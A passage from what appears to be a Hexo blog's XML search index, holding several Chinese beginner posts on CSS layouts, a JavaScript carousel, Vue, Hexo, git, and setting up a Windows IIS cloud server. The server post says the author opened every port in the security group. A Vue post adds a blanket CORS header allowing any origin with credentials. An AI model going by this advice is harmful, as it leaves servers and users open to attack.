<link href="/%E5%9B%9B%E7%A7%8D%E5%B8%B8%E8%A7%81%E7%9A%84%E5%B8%83%E5%B1%80.html"/>
|
||
<url>/%E5%9B%9B%E7%A7%8D%E5%B8%B8%E8%A7%81%E7%9A%84%E5%B8%83%E5%B1%80.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>对于一个对界要求很高的人来说，今天有必要研究下各种常见的布局，目前罗列了四种布局，来来来，一起看看</p><p><a href="http://jzxer.cn/layout/" target="_blank" rel="noopener">demo</a></p><h3 id="绝对定位法"><a href="#绝对定位法" class="headerlink" title="绝对定位法"></a>绝对定位法</h3><blockquote><p>左右两栏采用绝对定位，中间的由两边的margin撑开</p></blockquote><pre><code class="html"><body> <div id="main"></div> <div id="left"></div> <div id="right"></div></body>#main { margin:0 200px; background:red;}#left{ position:absolute; top:0;left:0; width:200px; background:blue; height:100%;}#right{ position:absolute; top:0;right:0; width:200px; background:green; height:100%;}</code></pre><p>这种布局缺点是，当缩放到一定大小的时候，会出现重叠现象</p><h3 id="自身浮动法"><a href="#自身浮动法" class="headerlink" title="自身浮动法"></a>自身浮动法</h3><blockquote><p>左栏左浮动，右栏右浮动，中间栏放最后</p></blockquote><pre><code class="html"> <body> <div id="left"></div> <div id="right"></div> <div id="main"></div> </body> #main {margin:0 200px;background:red;} #left{float:left;width:200px;background:blue;height:100%;} #right{float:right;width:200px;background:green;height:100%;}</code></pre><p>简单而高效，代码还容易理解，适合初学者</p><h3 id="圣杯布局"><a href="#圣杯布局" class="headerlink" title="圣杯布局"></a>圣杯布局</h3><pre><code class="html">//注意元素次序<div class="main">Main</div><div class="left">Left</div><div class="right">Right</div>//习惯性的CSS resetbody,html{ height:100%; padding: 0; margin: 0}//父元素body空出左右栏位body { padding-left: 100px; padding-right: 200px;}//左边元素更改.left { background: red; width: 100px; float: left; margin-left: -100%; position: relative; left: -100px; height: 100%;}//中间部分.main { background: blue; width: 100%; height: 100%; float: left;}//右边元素定义.right { background: red; width: 200px; height: 100%; float: left; margin-left: -200px; position: relative; right: -200px;}</code></pre><p>稍微难理解一点，不过这种布局目前我觉得是适配性比其他两种要好的布局方式，缺点是后期维护性不高</p><h3 id="双飞翼布局"><a href="#双飞翼布局" class="headerlink" title="双飞翼布局"></a>双飞翼布局</h3><pre><code class="html">div class="main"> <div class="inner"> Main </div></div><div class="left">Left</div><div class="right">Right</div></code></pre><blockquote><p>css样式就是将body上的左右margin值去掉，加在新增的 div 中</p></blockquote><p>这种布局方式为淘宝 UED 提出，目前最好用的一种布局方式，相比较圣杯布局，去掉了相对布局，代码更简洁</p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>一个人的页面能力怎么样，从他对一个网站的布局如何就可以看出来，我觉得一个网站不但要用户看起来舒服，还要工程师在看到你的代码的时候，觉得布局非常巧妙。</p><ul><li>美观大方的布局加上简洁的代码，加油吧，骚年~</li></ul>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> HTML </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 布局 </tag>
|
||
|
||
<tag> 圣杯 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>解析卡片式轮播图</title>
|
||
<link href="/%E8%AE%BA%E8%BD%AE%E6%92%AD%E5%9B%BE%E7%9A%84%E5%8E%9F%E7%90%86.html"/>
|
||
<url>/%E8%AE%BA%E8%BD%AE%E6%92%AD%E5%9B%BE%E7%9A%84%E5%8E%9F%E7%90%86.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote><p>小记：前两天面试，展现项目过程中经理问我轮播图的原理，我一脸懵逼，因为当时有现成的插件，所以我没怎么去研究，当然，我也知道该来的还是要来的…</p></blockquote><p>首先我大概讲一下，传统轮播图的主要部分：</p><ul><li>图片（废话）</li><li>左右两边的button</li><li>可以跳转的小点</li></ul><p><a href="http://jzxer.cn/card/" target="_blank" rel="noopener">demo</a></p><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><ul><li>轮播图的原理就是一个长图，里面有很多张图，外面包一层展示窗口，将属性设置成overflow：hidden，达到只显示一张的效果，当点击左右两边的按钮时会按照像素来跳转</li></ul><h3 id="无限滚动"><a href="#无限滚动" class="headerlink" title="无限滚动"></a>无限滚动</h3><ul><li>我给两个按钮设为 <b>prev next</b> 一个在点击后，长图会增加一张图的宽度，一个是减少一个图的宽度,在图片的头和尾部加一张图，结构大概为：</li></ul><pre><code class="html"><div id="list" style="left:-200px"> <img src="./img/5.jpg" alt=""> <img src="./img/1.jpg" alt=""> <img src="./img/2.jpg" alt=""> <img src="./img/3.jpg" alt=""> <img src="./img/4.jpg" alt=""> <img src="./img/5.jpg" alt=""> <img src="./img/1.jpg" alt=""> </div></code></pre><p>当是最后一张图或第一张图时，将第一张上一张跳转为最后一张时的宽，最后一张跳转为第一张时的宽</p><pre><code class="js">if (newList < -1000) { dot = 1 list.style.left = -200 + 'px' } if (newList > -200) { dot = 5 list.style.left = -1000 + 'px' }</code></pre><h3 id="小按钮切换"><a href="#小按钮切换" class="headerlink" title="小按钮切换"></a>小按钮切换</h3><p>这要实现的思想有</p><ul><li>点了小按钮，背景色会变</li><li>当点击切换到其他按钮，图片切换，且上一个按钮会变回原来的颜色</li></ul><pre><code class="js">function showBtn() { for (var i = 0; i < btns.length; i++) { if (btns[i].className == 'show-btn') { btns[i].className = '' break } } btns[dot-1].className = 'show-btn' }//遍历数组，将有该属性设为空for (var i = 0; i < btns.length; i++) { btns[i].onclick = function () { if (this.className == 'showBtn') { return } var myIndex = parseInt(this.getAttribute('index')) var leng = -200 * (myIndex - dot) animate(leng) dot = myIndex showBtn() } }//遍历数组，将每一个小按钮设了个index属性，这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性，获取index值，点击时得到当前的index值，正好和当前的dot值相减，可得跳转的距离 </code></pre><blockquote><p>这里要注意的是，当小按钮被重复按的时候，给他一个判断，不然重复点击同一个图标会重复发生相同事件，占内存，耗cpu</p></blockquote><h3 id="延迟动画函数"><a href="#延迟动画函数" class="headerlink" title="延迟动画函数"></a>延迟动画函数</h3><p>就是当用户点击时，有一个慢慢偏移的过程，而不是闪现的动作，我们来看看实现原理</p><ul><li>首先，定义参数</li></ul><pre><code class="js">var time = 300 //位移总时间var interval = 10 //位移时间间隔var speed = leng/(time/interval) //每次位移量，就是一共调用多少次的意思</code></pre><ul><li>设置递归函数</li></ul><pre><code class="js">if ((speed < 0 && parseInt(list.style.left) > newList) || (speed > 0 && parseInt(list.style.left) < newList)) { list.style.left = parseInt(list.style.left) + speed + 'px' setTimeout(go, interval) //递归,调用自身函数</code></pre><ul><li>判断是否仍在动画</li></ul><p>如果用户一直在点击切换图时，如果电脑配置不好，或是其他一些因素，可能会轮播卡顿，为了防止这一现象，就用一个判断来看上一次动画是否完成，若未完成就不能继续切换，等到这次动画跳转完为止</p><pre><code class="js">var animated = false //设初值if(!animated) { animate(200)} //如果为false，则继续动画</code></pre><h3 id="自动播放"><a href="#自动播放" class="headerlink" title="自动播放"></a>自动播放</h3><p>首先给个思路，当鼠标移入的时候，自动播放停止，移出的时候开始自动播放</p><ul><li>我们设两个函数，play（） 和 stop（）</li></ul><pre><code class="js">function play() { timer = setTimeout(function() { next.onclick() play() },interval) } function stop() { clearTimeout(timer) }</code></pre><p>给整个 container 容器添加该鼠标事件</p><p>这年头还是不能偷懒啊，说不定当时知道这个人家就把给我要了呢，好气哦…</p><blockquote><p>改天再研究下旋转木马的那种装个13…</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> JS </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 轮播图 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>vue学习笔记（一）</title>
|
||
<link href="/vue%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%88%E4%B8%80%EF%BC%89.html"/>
|
||
<url>/vue%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%88%E4%B8%80%EF%BC%89.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="vue的实例对象与生命周期"><a href="#vue的实例对象与生命周期" class="headerlink" title="vue的实例对象与生命周期"></a>vue的实例对象与生命周期</h2><ul><li><p>beforeCreate</p><blockquote><p>在实例初始化之后，数据观测(data observer) 和 event/watcher 事件配置之前被调用。</p></blockquote></li><li><p>created</p><blockquote><p>实例已经创建完成之后被调用。在这一步，实例已完成以下的配置：数据观测(data observer)，属性和方法的运算， watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。</p></blockquote></li><li><p>beforeMount</p><blockquote><p>在挂载开始之前被调用：相关的 render 函数首次被调用。</p></blockquote></li><li><p>mounted</p><blockquote><p>el 被新创建的 vm.$el 替换，并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素，当 mounted 被调用时 vm.$el 也在文档内。</p></blockquote></li><li><p>beforeUpdate</p><blockquote><p>数据更新时调用，发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态，这不会触发附加的重渲染过程。</p></blockquote></li><li><p>updated</p><blockquote><p>由于数据更改导致的虚拟 DOM 重新渲染和打补丁，在这之后会调用该钩子。<br>当这个钩子被调用时，组件 DOM 已经更新，所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下，你应该避免在此期间更改状态，因为这可能会导致更新无限循环。<br>该钩子在服务器端渲染期间不被调用。</p></blockquote></li><li><p>beforeDestroy</p><blockquote><p>实例销毁之前调用。在这一步，实例仍然完全可用。</p></blockquote></li><li><p>destroyed</p><blockquote><p>Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。</p></blockquote></li></ul><h2 id="实例对象"><a href="#实例对象" class="headerlink" title="实例对象"></a>实例对象</h2><h3 id="data"><a href="#data" class="headerlink" title="data"></a>data</h3><ul><li>类型是Object或者Function。<pre><code class="js">> var vm = new Vue({data: data})</code></pre></li></ul><h3 id="computed"><a href="#computed" class="headerlink" title="computed"></a>computed</h3><h4 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h4><p>Vue的计算属性（computed)的属性会自动混入Vue的实例中。所有 getter 和 setter 的 this 上下文自动地绑定为 Vue 实例。这就很强大了，再计算属性中定义的函数里面可以直接使用指向了 vue 实例的 this</p><h3 id="methods"><a href="#methods" class="headerlink" title="methods"></a>methods</h3><ul><li>类型: { [key: string]: Function }</li></ul><p>methods 将被混入到 Vue 实例中。可以直接通过 VM 实例访问这些方法，或者在指令表达式中使用。方法中的 this 自动绑定为 Vue 实例。</p><h3 id="watch"><a href="#watch" class="headerlink" title="watch"></a>watch</h3><ul><li>类型： { [key: string]: string | Function | Object }</li></ul><p>一个对象，键是需要观察的表达式，值是对应回调函数。值也可以是方法名，或者包含选项的对象。Vue 实例将会在实例化时调用 $watch()，遍历 watch 对象的每一个属性。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Vue的实例封装的还是挺有艺术性的，很符合开发者的思维规范，它的生命周期也非常清晰，使用起来也非常方便。MVVM双向绑定思想也是吊的可以</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> vue </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> vue </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>搭一个windows云服务器</title>
|
||
<link href="/%E6%90%AD%E4%B8%80%E4%B8%AAwindows%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8.html"/>
|
||
<url>/%E6%90%AD%E4%B8%80%E4%B8%AAwindows%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>前段时间看到腾讯云服务器对学生有优惠，而且很大一坨，就买了一个回来研究，废话不多说，开搞咯~</p><h2 id="买服务器"><a href="#买服务器" class="headerlink" title="买服务器"></a>买服务器</h2><ul><li>首先你得入手一个服务器，学生特惠8元/月，还有一块的，不过难抢，机不可失，失不再来，毕业你就没机会了，<blockquote><p>地方的话就近原则，访问应该会快点</p></blockquote></li></ul><h2 id="配置服务器"><a href="#配置服务器" class="headerlink" title="配置服务器"></a>配置服务器</h2><ul><li><p>我这里是配了 Windows2012 64位系统，1核1G内存</p><blockquote><p>Linux的系统，听说比较好用，但目前我还没用过，Windows我觉得也还行</p></blockquote></li><li><p>进入云服务器控制中心，打开安全组，按需求开放端口</p><blockquote><p>我是开放了全部端口的，你可以随意</p></blockquote></li></ul><h2 id="远程连接服务器"><a href="#远程连接服务器" class="headerlink" title="远程连接服务器"></a>远程连接服务器</h2><ul><li>在命令行输入 mstcs 输入你的电脑信息，邮箱查看电脑的默认密码，请及时修改，账号一般默认是administritor，不是的话请先确认</li></ul><h2 id="设置主页"><a href="#设置主页" class="headerlink" title="设置主页"></a>设置主页</h2><ul><li><p>进入云服务器之后，打开服务器管理器，[新建角色] => [基于角色和功能的安装] => [从服务器池中选择服务器] => [web服务器应用程序开发，勾选.net4.5 和CGI] => [IIS可承载的web核心] => [确认安装]</p><blockquote><p>中间如果碰到什么问题，仔细看流程，如果还报错，我也帮不了你了</p></blockquote></li><li><p>安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站，该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html（htm）文件放在该目录下，一定要保证根目录有个html（htm）文件</p></li></ul><h2 id="设置分页"><a href="#设置分页" class="headerlink" title="设置分页"></a>设置分页</h2><ul><li>如果你想通过类似 localhost/about 路径访问你的about项目，你可以在IIS管理的的 default website添加你的项目路径</li></ul><blockquote><p>右键 添加应用程序，将该项目的物理路径填上去就可以了 </p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 服务器 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> windows </tag>
|
||
|
||
<tag> 腾讯云 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>hexo 搭建博客初体验</title>
|
||
<link href="/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2.html"/>
|
||
<url>/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="hexo-搭建博客初体验"><a href="#hexo-搭建博客初体验" class="headerlink" title="hexo 搭建博客初体验"></a>hexo 搭建博客初体验</h1><h2 id="安装-hexo"><a href="#安装-hexo" class="headerlink" title="安装 hexo"></a>安装 hexo</h2><pre><code class="js">> cnpm i hexo-cli -g报错的话就输入> cnpm i hexo --save查看安装是否成功> hexo -v</code></pre><h2 id="hexo配置"><a href="#hexo配置" class="headerlink" title="hexo配置"></a>hexo配置</h2><h3 id="hexo-初始化"><a href="#hexo-初始化" class="headerlink" title="hexo 初始化"></a>hexo 初始化</h3><pre><code class="js">> hexo init然后> cnpm install到这里你差不多就可以看到效果了，如果你要连接 GitHub，就要往下继续 </code></pre><h3 id="连接-GitHub"><a href="#连接-GitHub" class="headerlink" title="连接 GitHub"></a>连接 GitHub</h3><p>在根目录打开 vim _config.yml，翻到最下面，改成我这样子的</p><ul><li>如果你是用 github 仓库</li></ul><pre><code class="json">> deploy: type: git repo: https://git.coding.net/jzxer/jzxer.git branch: master* 如果你是用 coding 仓库> deploy: type: coding repo: https://github.com/j710328466/j710328466.github.io.git branch: master</code></pre><h3 id="安装依赖包"><a href="#安装依赖包" class="headerlink" title="安装依赖包"></a>安装依赖包</h3><pre><code class="js">> npm install hexo-deployer-git --save</code></pre><h2 id="开始"><a href="#开始" class="headerlink" title="开始"></a>开始</h2><pre><code class="js">创建一篇新文章$ hexo new "My New Post"监听$ hexo server打包$ hexo generate上传$ hexo deploy</code></pre><h2 id="主题配置"><a href="#主题配置" class="headerlink" title="主题配置"></a>主题配置</h2><ul><li>打开根目录下的vim _config.yml<blockquote><p>theme: material<br>将主题改成你喜欢的</p></blockquote></li></ul><h2 id="主题推荐"><a href="#主题推荐" class="headerlink" title="主题推荐"></a>主题推荐</h2><p>每个不同的主题会需要不同的配置，主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。</p><h3 id="Yilia"><a href="#Yilia" class="headerlink" title="Yilia"></a>Yilia</h3><p>Yilia 是为 hexo 2.4+ 制作的主题。<br>崇尚简约优雅，以及极致的性能。</p><h3 id="NexT"><a href="#NexT" class="headerlink" title="NexT"></a>NexT</h3><p>目前Github上Star最高的Hexo主题，支持几种不同的风格。<br>作者提供了非常完善的配置说明。</p><h3 id="Material"><a href="#Material" class="headerlink" title="Material"></a>Material</h3><p>原之质，物之渊<br>就是我现在用的这款，简洁大方，响应式设计。</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 博客搭建 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> hexo </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>vue高仿qq音乐官网</title>
|
||
<link href="/vue%E9%AB%98%E4%BB%BFqq%E9%9F%B3%E4%B9%90%E5%AE%98%E7%BD%91.html"/>
|
||
<url>/vue%E9%AB%98%E4%BB%BFqq%E9%9F%B3%E4%B9%90%E5%AE%98%E7%BD%91.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>一直想做一个vue项目 然后呢 我就做了</p><h2 id="效果预览"><a href="#效果预览" class="headerlink" title="效果预览"></a>效果预览</h2><p>部分地方不全部根据原版，也有自由发挥的，目前功能模块比较简陋，如果显示不完整，请下载以下api文件并打开</p><blockquote><p><a href="https://github.com/Binaryify/NeteaseCloudMusicApi" target="_blank" rel="noopener">网易云音乐API</a><br>项目地址：<a href="https://github.com/j710328466/vue-qqmusic" target="_blank" rel="noopener">github</a><br>预览地址：<a href="http://182.254.147.168:8564/#/" target="_blank" rel="noopener">demo</a></p></blockquote><h2 id="Build-Setup"><a href="#Build-Setup" class="headerlink" title="Build Setup"></a>Build Setup</h2><pre><code class="js"># install dependenciescnpm i(可以用cnpm或yarn，更方便快捷，你值得拥有)# serve with hot reload at localhost:8564npm run dev# build for production with minificationnpm run build# build for production and view the bundle analyzer reportnpm run build --report# 网易云API部署 listen localhost:3000npm run start</code></pre><h2 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h2><ul><li>vue(数据绑定)</li><li>vue-router</li><li>vuex(管理组件状态，实现组件通信）</li><li>webpack(打包工具)</li><li>scss（原来想用stylus,回头看看我都快写完了…）</li><li>axios（我等下要重点讲这<em>**</em>）</li><li>组件库: element-UI(本来想用muse-UI,感觉那个更cool，下次吧..) </li><li>API: 网易云音乐API(仿qq音乐我用网易云音乐的东西，你怕不怕…)</li></ul><h2 id="核心功能组件的实现"><a href="#核心功能组件的实现" class="headerlink" title="核心功能组件的实现"></a>核心功能组件的实现</h2><h3 id="搜索功能"><a href="#搜索功能" class="headerlink" title="搜索功能"></a>搜索功能</h3><p><img src="https://ooo.0o0.ooo/2017/06/14/594135198d975.gif" alt=""></p><h3 id="播放功能"><a href="#播放功能" class="headerlink" title="播放功能"></a>播放功能</h3><p><img src="https://ooo.0o0.ooo/2017/06/14/5941364de751e.gif" alt=""><br> (播放页面正在完善中，样式只是大概，待细化…)</p><h3 id="跳转功能"><a href="#跳转功能" class="headerlink" title="跳转功能"></a>跳转功能</h3><p><img src="https://ooo.0o0.ooo/2017/06/14/59415a8cd0df7.gif" alt=""><br> (目前子目录只开通歌手列表)</p><h2 id="自己挖的坑，自己埋"><a href="#自己挖的坑，自己埋" class="headerlink" title="自己挖的坑，自己埋"></a>自己挖的坑，自己埋</h2><h3 id="vuex的模块应用"><a href="#vuex的模块应用" class="headerlink" title="vuex的模块应用"></a>vuex的模块应用</h3><ul><li>一开始我并没有使用vuex，因为我觉得目前这个项目比较小，并不需要它来管理数据，毕竟vuex针对大项目来说确实很好用，但是后来考虑到如果后期该项目我还要 维护，数据量一大，还是要重新分类数据，所以中途某些地方插入了vuex的使用，这就很大一部分影响了项目进行的进度。（目前只用到action和state）</li></ul><h3 id="qq音乐的轮播图"><a href="#qq音乐的轮播图" class="headerlink" title="qq音乐的轮播图"></a>qq音乐的轮播图</h3><ul><li>不用说，qq音乐这个网站的页面我是真的挺喜欢，不光是他的设计，页面的布局也很美观，在控制台调试的时候可以看看它的结构，非常有层次而富有美感，即使加上 一层margin,padding也不会有违和感。这就造就了它的轮播图结构比较麻烦，不是说做不出来，因为这是第一次上传的项目，我想先将大概的结构完善一下，后期再 维护，所以我就选用了element-UI里面的跑马灯式轮播图组件，大体来说，除了部分瑕疵以外，还是高度还原了原版轮播图的。</li></ul><h3 id="axios后端数据获取时产生的跨域问题"><a href="#axios后端数据获取时产生的跨域问题" class="headerlink" title="axios后端数据获取时产生的跨域问题"></a>axios后端数据获取时产生的跨域问题</h3><ul><li>重点来了，这个是我在该项目中花了最多时间的地方，相信很多同学使用axios都碰到过我这个问题，目前我这里使用了三种方法处理该问题，请大家针对自己的项目问题对号入座</li><li>跨域访问，简单来说就是 A 网站的 javascript 代码试图访问 B 网站，包括提交内容和获取内容。由于安全原因，跨域访问是被各大浏览器所默认禁止的。</li></ul><h4 id="①-针对本地相同端口服务器之间的跨域"><a href="#①-针对本地相同端口服务器之间的跨域" class="headerlink" title="①. 针对本地相同端口服务器之间的跨域"></a>①. 针对本地相同端口服务器之间的跨域</h4><ul><li>这是我刚开始碰到问题时使用的第一种，这个时候你只需要找到build文件中的dev-server，找到引用express的位置，给它加上一个头文件：</li></ul><pre><code class="js"> app.all('*', function (req, res, next) { res.header("Access-Control-Allow-Credentials", true) res.header("Access-Control-Allow-Origin", "*") res.header("Access-Control-Allow-Headers", "X-Requested-With") res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS") res.header("X-Powered-By", ' 3.2.1') res.header("Content-Type", "application/json;charset=utf-8") next() })</code></pre><blockquote><p> <img src="https://ooo.0o0.ooo/2017/06/14/594140894d162.jpg" alt=""><br><code>`</code></p></blockquote><ul><li>然后它就会报错~，具体原因是你同一个端口申请相同端口的东西,不好意思，那不叫跨域…</li></ul><h4 id="②-针对本地不同端口的服务器之间的跨域"><a href="#②-针对本地不同端口的服务器之间的跨域" class="headerlink" title="②. 针对本地不同端口的服务器之间的跨域"></a>②. 针对本地不同端口的服务器之间的跨域</h4><ul><li>就是将上面的头文件放在当前项目申请的服务器的那个api中。</li></ul><h4 id="③-针对本地服务器对域名服务器访问的跨域问题"><a href="#③-针对本地服务器对域名服务器访问的跨域问题" class="headerlink" title="③. 针对本地服务器对域名服务器访问的跨域问题"></a>③. 针对本地服务器对域名服务器访问的跨域问题</h4><ul><li>找到当前项目congfig文件夹下index.js文件，然后在文件中将proxyTable内容改为：</li></ul><pre><code class="js"> proxyTable: { '/api': { target: '[1]', changeOrigin: true, pathRewrite: { '^/api': '/' } } }</code></pre><blockquote><p>就是你当前想访问的api地址，项目中访问的时候就只要用/api做反向代理即可</p></blockquote><h2 id="终于"><a href="#终于" class="headerlink" title="终于"></a>终于</h2><ul><li>这是我第一个用vue撸的项目，可能功能有点简陋，很多地方有待提高，不过这次实践让我对组件化的理解有了一定的提升，后期会继续加入其它功能模块的，文中有用词不对的地方，欢迎大家指出，项目有什么bug，也希望大家多多提issue</li><li>如果对你有帮助，给个star吧</li></ul>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web项目 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> vue </tag>
|
||
|
||
<tag> vuex </tag>
|
||
|
||
<tag> vue-router </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>git使用技巧</title>
|
||
<link href="/GIT%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html"/>
|
||
<url>/GIT%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="流程"><a href="#流程" class="headerlink" title="流程"></a>流程</h1><h2 id="git连接GitHub"><a href="#git连接GitHub" class="headerlink" title="git连接GitHub"></a>git连接GitHub</h2><h3 id="设置Git的信息-如果是第一次的话"><a href="#设置Git的信息-如果是第一次的话" class="headerlink" title="设置Git的信息(如果是第一次的话)"></a>设置Git的信息(如果是第一次的话)</h3><blockquote><p>git config –global user.name “名字”<br>git config –global user.email “邮箱”</p></blockquote><h3 id="生成密匙-很重要"><a href="#生成密匙-很重要" class="headerlink" title="生成密匙(很重要)"></a>生成密匙(很重要)</h3><p>这是你连接的必要部分，就相当于账号的登录密码，有这个你才能对GitHub上的项目进行操作</p><blockquote><p>ssh-keygen -t rsa -C “<a href="mailto:710328466@qq.com" target="_blank" rel="noopener">710328466@qq.com</a>“</p></blockquote><h3 id="配置密匙"><a href="#配置密匙" class="headerlink" title="配置密匙"></a>配置密匙</h3><ul><li>将获取的密钥放到GitHub->setting下的SSH and GPG keys里面</li></ul><h3 id="新建项目"><a href="#新建项目" class="headerlink" title="新建项目"></a>新建项目</h3><ul><li><p>进入首页，新建一个repository</p></li><li><p>填写相应信息</p><pre><code> Repository name: 仓库名称 Description(可选): 仓库描述介绍 Public, Private : 仓库权限（公开共享，私有或指定合作者） Initialize this repository with a README: 添加一个README.md gitignore: 不需要进行版本管理的仓库类型，对应生成文件.gitignore license: 证书类型，对应生成文件LICENSE</code></pre></li></ul><h3 id="下载-git-bash"><a href="#下载-git-bash" class="headerlink" title="下载 git bash"></a>下载 git bash</h3><ul><li>下载地址去百度好吗？</li></ul><h3 id="将-gitHub-上的仓库克隆到本地"><a href="#将-gitHub-上的仓库克隆到本地" class="headerlink" title="将 gitHub 上的仓库克隆到本地"></a>将 gitHub 上的仓库克隆到本地</h3><pre><code class="js">* git clone (https://github.com/j710328466/yourItem.git)（j710328466/yourBlog.git替换成你博客的地址）</code></pre><blockquote><p>这个步骤以后你的本地项目文件夹下面就会多出个文件夹，该文件夹名即为你github上面的项目名，如图我多出了个yourItem文件夹，我们把本地项目文件夹下的所有文件（除了新多出的那个文件夹不用），其余都复制到那个新多出的文件夹下</p></blockquote><h3 id="cd-Test-打开Test文件夹"><a href="#cd-Test-打开Test文件夹" class="headerlink" title="cd Test 打开Test文件夹"></a>cd Test 打开Test文件夹</h3><pre><code class="js"> git add . (添加所有文件) git add readme.md git commit -m "信息"* git push -u origin master 将本地文件上传到git仓库</code></pre><blockquote><p>如果push -u….报错，你就改成git pull –rebase origin master,重新push就可以了</p></blockquote><h2 id="git-基本操作"><a href="#git-基本操作" class="headerlink" title="git 基本操作"></a>git 基本操作</h2><h3 id="touch-文件名"><a href="#touch-文件名" class="headerlink" title="touch 文件名"></a>touch 文件名</h3><p>添加到缓存</p><h3 id="git-status"><a href="#git-status" class="headerlink" title="git status"></a>git status</h3><blockquote><p>查看该项目改变的文件</p><ul><li>git status</li></ul></blockquote><h3 id="git-diff"><a href="#git-diff" class="headerlink" title="git diff"></a>git diff</h3><blockquote><p>默认是暂未缓存的改动，这个可以查自己目前版本和上一个版本的改动位置</p></blockquote><h4 id="git-diff-–cached"><a href="#git-diff-–cached" class="headerlink" title="git diff –cached"></a>git diff –cached</h4><blockquote><p>查看已缓存的改动</p></blockquote><h4 id="git-diff-HEAD"><a href="#git-diff-HEAD" class="headerlink" title="git diff HEAD"></a>git diff HEAD</h4><blockquote><p>查看已缓存与未缓存的所有改动</p></blockquote><h4 id="git-diff-–stat"><a href="#git-diff-–stat" class="headerlink" title="git diff –stat"></a>git diff –stat</h4><blockquote><p>显示摘要而非整个diff</p></blockquote><h3 id="git-rm"><a href="#git-rm" class="headerlink" title="git rm"></a>git rm</h3><blockquote><p>将条目从缓存区中移除</p></blockquote><h3 id="git-mv"><a href="#git-mv" class="headerlink" title="git mv"></a>git mv</h3><blockquote><p>用于移动或重命名一个文件，目录</p></blockquote><pre><code class="js">git add READMEgit mv README README.mdls</code></pre><h2 id="git-分支管理"><a href="#git-分支管理" class="headerlink" title="git 分支管理"></a>git 分支管理</h2><h3 id="git-branch"><a href="#git-branch" class="headerlink" title="git branch"></a>git branch</h3><ul><li>查看当前分支<blockquote><p>后面加单词，即是创建分支: git branch day1</p></blockquote></li></ul><h3 id="删除分支"><a href="#删除分支" class="headerlink" title="删除分支"></a>删除分支</h3><blockquote><p>git branch -d testing</p></blockquote><h3 id="git-checkout-‘分支名’"><a href="#git-checkout-‘分支名’" class="headerlink" title="git checkout 